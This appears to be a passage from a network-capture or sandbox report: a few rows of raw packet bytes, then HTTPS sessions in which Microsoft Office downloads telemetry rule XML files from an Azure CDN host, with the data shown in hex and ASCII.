Nov 27, 2024 16:36:16.316596031 CET	172	IN	Data Raw: 45 9c 32 96 c8 9e 30 ea 68 6e 18 07 8f f9 55 35 bb 58 43 48 db 1b 7f 28 c6 e8 ae e2 46 2d fc ae 2b ac ed 5c 0b 0f 4c 6e 9f c5 36 bc 80 3a ee af 64 8b 98 1d a8 63 83 73 f7 33 f4 04 ca db 34 ed 08 09 42 8b ea ce 41 88 cd bd 5e db 31 1a c1 50 67 04 Data Ascii: E20hnU5XCH(F-+\Ln6:dcs34BA^1Pg\pA0^l%t*&S~O3h(riK~8t?;iNbZX
Nov 27, 2024 16:36:16.316606045 CET	1236	IN	Data Raw: 0b ce a6 11 01 ae b4 72 01 38 a6 da 8e 7a cb dd 8b 8c 53 a8 86 b0 f9 4c fb 9e 6e fa 3c 98 cb cd a5 01 d9 3a 4e 5f 70 75 23 80 73 40 87 22 5b d5 07 33 cc 54 81 bc 23 71 eb cf 1f 76 b0 b1 37 9d af 47 10 8d 97 f3 34 41 d7 57 af 86 56 13 01 25 eb 75 Data Ascii: r8zSLn<:N_pu#s@"[3T#qv7G4AWV%uT qWq9)$*I\g`v-dZ.([<WPJ^uQb\VmXQVb}K7? F)Wr9=+m
Nov 27, 2024 16:36:16.316912889 CET	1236	IN	Data Raw: f1 94 53 7b 7f e9 ff 5f 58 4b c6 af 6a 2f 90 94 7c 8c 2e b9 2a fb 15 1a b0 01 58 80 97 3c a6 a4 45 85 18 89 fe fd 44 0b d9 b8 c1 b8 69 cc d0 b7 6b 0f dc 95 91 13 1e 1f b5 f7 a8 5d 6c 49 15 17 7e 17 d8 08 86 ca d4 1a 11 7e e9 77 af 86 a1 21 05 49 Data Ascii: S{_XKj/\|.*X<EDik]lI~~w!IgXxq?%:U7D,9CyJ@\|`(KuKWiS]ro8R+Lpop\\|\c{'qMOd`D@~S7Z
Nov 27, 2024 16:36:16.316926003 CET	448	IN	Data Raw: e9 b1 cc 58 c9 92 e3 8e b7 24 78 02 eb 6d 9b 59 a1 cc 80 35 6c 1a 15 84 47 1a 31 31 d5 07 d4 70 bf c4 2d 6e 11 3a e4 5c db 18 f9 59 a5 e4 eb 6c c0 ed 70 6b 0e dc 62 f0 f6 1d 0a b1 19 b1 da 97 90 b5 86 c3 74 0d 08 a8 bc 51 90 e3 ab 0a 21 73 67 7a Data Ascii: X$xmY5lG11p-n:\YlpkbtQ!sgz\|KpaNGVzds1jn"8-U<B5_vyj@{QGWk;5tlUAKw*6=+{o.wKgdQx)
Nov 27, 2024 16:36:16.436719894 CET	1236	IN	Data Raw: 90 41 38 d9 c5 cb 13 06 85 c5 5b a9 f8 c4 f3 7d 9b 8b 14 e0 78 1c 94 95 f8 a6 72 bf e8 eb 5c d4 dc 41 4f a0 2c 37 f8 86 af a3 87 3e 9c 56 33 ad cf 96 f4 a9 9e 64 aa ec 83 3e bc d0 66 e3 40 59 12 90 a3 c2 37 e8 d7 9f 41 4a 50 69 fa 9d ce c0 7d 3c Data Ascii: A8[}xr\AO,7>V3d>f@Y7AJPi}<kS.NPj=IXRL)[V5Y8&\|dsUJWQyS_(y2!mR(c'yP]ZChWd/S.-cS

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49702	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:21 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:21 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:21 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153421Z-174f7845968kvnqxhC1EWRmf3g0000000fwg00000000gbqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:21 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-27 15:34:21 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-27 15:34:21 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-27 15:34:22 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-27 15:34:22 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-27 15:34:22 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-27 15:34:22 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-27 15:34:22 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-27 15:34:22 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-27 15:34:22 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:23 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:24 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:24 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2ca1f14f-f01e-001f-3f2a-405dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153424Z-174f78459685726chC1EWRsnbg0000000x3000000000n8ca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:24 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:24 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:24 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153424Z-174f7845968vqt9xhC1EWRgten0000000x7g000000005uw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:24 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49703	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:24 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:24 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:24 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153424Z-174f7845968cdxdrhC1EWRg0en0000000wyg00000000tmhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:24 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:24 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153424Z-174f78459684bddphC1EWRbht40000000wz0000000000dfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:24 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:24 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
